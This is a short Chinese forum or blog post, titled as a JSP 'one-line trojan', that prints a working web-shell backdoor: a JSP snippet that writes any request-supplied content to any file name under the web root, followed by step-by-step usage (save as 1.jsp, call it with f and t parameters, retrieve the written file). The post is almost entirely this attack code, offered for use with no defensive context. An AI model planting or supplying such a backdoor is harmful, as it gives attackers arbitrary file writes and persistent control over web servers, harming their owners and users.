JSP一句话木马代码
<%
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>
这个 后门估计不用我说了吧.还是提示一下咯.保存为1.jsp 提交url!
https://localhost/1.jsp?f=1.txt&t=hello
然后:https://localhost/1.txt 就出来了 内容为 hello .....
https://www.uoften.com/program/jsp/20180413/47444.html
页:
[1]